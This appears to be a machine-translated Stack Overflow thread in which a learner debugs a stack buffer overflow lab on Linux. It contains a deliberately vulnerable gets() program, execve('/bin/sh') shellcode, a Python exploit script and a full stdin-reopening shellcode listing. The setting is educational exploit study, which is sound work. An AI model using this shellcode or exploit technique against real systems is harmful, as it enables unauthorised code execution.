security assembly buffer-overflow shellcode

security - Shellcode para un desbordamiento de pila simple: el programa explotado con shell termina directamente después de execve("/ bin/sh")



assembly buffer-overflow (2)

Jugué con desbordamientos de búfer en Linux (amd64) e intenté explotar un programa simple, pero falló. Deshabilité las funciones de seguridad (asignación aleatoria del diseño del espacio de direcciones con sysctl -w kernel.randomize_va_space = 0 y nx bit en el BIOS). Salta a la pila y ejecuta el shellcode, pero no inicia un shell. El execve syscall tiene éxito, pero luego simplemente termina. ¿Alguna idea de lo que está mal? Ejecutar el shellcode standalone funciona bien.

Pregunta extra: ¿Por qué necesito configurar rax en cero antes de llamar a printf? (Ver comentario en el código)

Vulnerable archivo buffer.s :

.data .fmtsp: .string "Stackpointer %p/n" .fmtjump: .string "Jump to %p/n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret

shellcode.s

.text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall

explotar.py

shellcode = "/x48/xbb/xff/x2f/x62/x69/x6e/x2f/x73/x68/x48/xc1/xeb/x08/x53/x48/x89/xe7/x48/x31/xf6/x48/x31/xd2/x48/x31/xc0/x48/x83/xc0/x3b/x0f/x05" stackpointer = "/x7f/xff/xff/xff/xe3/x28" output = shellcode output += ''a'' * (120 - len(shellcode)) # fill buffer output += ''b'' * 8 # override stored base pointer output += ''''.join(reversed(stackpointer)) print output

Compilado con:

$ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s

Comenzó con

$ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

Depuración con gdb:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.


Ahora mismo estoy teniendo el mismo problema con Ubuntu 9.10 en una máquina virtual. Deshabilitó todas las medidas de seguridad del sistema operativo, y las vulnerabilidades simples como "salir del programa y establecer el código de salida en 42" funcionan, pero cuando se intenta abrir un shell, el programa simplemente termina. La salida de gdb es idéntica:

(gdb) run < exploit.0xbffff3b8 Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 Enter password: Sorry. Wrong password. Executing new program: /bin/bash Program exited normally. (gdb)

La cosa es que lo necesito trabajando en aprox. 16 horas para una presentación :-D

Actualización: Encontré este estupendo estudio: www.shell-storm.org/papers/files/539.pdf

En la página 16 dice: "Si intentamos ejecutar un shell, termina inmediatamente en esta configuración"

En otros ejemplos que no usan get (), generan un shell muy bien. Desafortunadamente, no dan una pista sobre POR QUÉ no funciona de esa manera. :(

Próxima actualización: parece que tiene que ver con stdin. El shell no puede usar correctamente el que obtiene del proceso original. Intenté usar un shell mínimo. Encontré el código fuente para (evilsh). Se estrelló en el punto donde trató de leer la entrada. Mi conjetura es que bash / dash comprueba esto y simplemente sale silenciosamente cuando algo está mal con stdin.

Ok, por favor no me mates por tener esta conversación conmigo misma aquí, pero ...

¡Encontré una solución!

Por alguna razón es necesario volver a abrir las entradas. He encontrado un código de shell de trabajo aquí:

http://www.milw0rm.com/shellcode/2040

No veo una pregunta rápida, pero puedo ejecutar programas, etc. utilizando el shell que se abre.


El enlace proporcionado por Zenoc está muerto, pero aún se puede encontrar en la máquina Wayback. Para mayor comodidad, lo he reproducido a continuación. Tuve que incluir add $0x10,%esp en la parte superior para darme más espacio de pila, ya que todos los push en el código se integraron en el búfer donde estaba almacenado mi shellcode. Si también desea incluir eso en el shellcode, simplemente agregue "/ x83 / xc4 / x10" al comienzo. El shellcode es de 55 bytes sin mi adición, y 58 con.

/* * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ * * gets-linux.c - stdin re-open shellcode for Linux/x86 * Copyright (c) 2003 Marco Ivaldi <[email protected]> * * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh. * Useful to exploit some gets() buffer overflows in an elegant way... */ /* * close(0) * * 8049380: 31 c0 xor %eax,%eax * 8049382: 31 db xor %ebx,%ebx * 8049384: b0 06 mov $0x6,%al * 8049386: cd 80 int $0x80 * * open("/dev/tty", O_RDWR | ...) * * 8049388: 53 push %ebx * 8049389: 68 2f 74 74 79 push $0x7974742f * 804938e: 68 2f 64 65 76 push $0x7665642f * 8049393: 89 e3 mov %esp,%ebx * 8049395: 31 c9 xor %ecx,%ecx * 8049397: 66 b9 12 27 mov $0x2712,%cx * 804939b: b0 05 mov $0x5,%al * 804939d: cd 80 int $0x80 * * execve("/bin/sh", ["/bin/sh"], NULL) * * 804939f: 31 c0 xor %eax,%eax * 80493a1: 50 push %eax * 80493a2: 68 2f 2f 73 68 push $0x68732f2f * 80493a7: 68 2f 62 69 6e push $0x6e69622f * 80493ac: 89 e3 mov %esp,%ebx * 80493ae: 50 push %eax * 80493af: 53 push %ebx * 80493b0: 89 e1 mov %esp,%ecx * 80493b2: 99 cltd * 80493b3: b0 0b mov $0xb,%al * 80493b5: cd 80 int $0x80 */ char sc[] = "/x31/xc0/x31/xdb/xb0/x06/xcd/x80" "/x53/x68/tty/x68/dev/x89/xe3/x31/xc9/x66/xb9/x12/x27/xb0/x05/xcd/x80" "/x31/xc0/x50/x68//sh/x68/bin/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80"; main() { int (*f)() = (int (*)())sc; f(); } // milw0rm.com [2006-07-20]

Nota: No pude agregar esto como una edición a la respuesta de Zenoc porque la cola de edición está llena.

Si tiene problemas para localizar la dirección de su shellcode debido a las diferentes pilas en el terminal y gdb , vea mi respuesta here .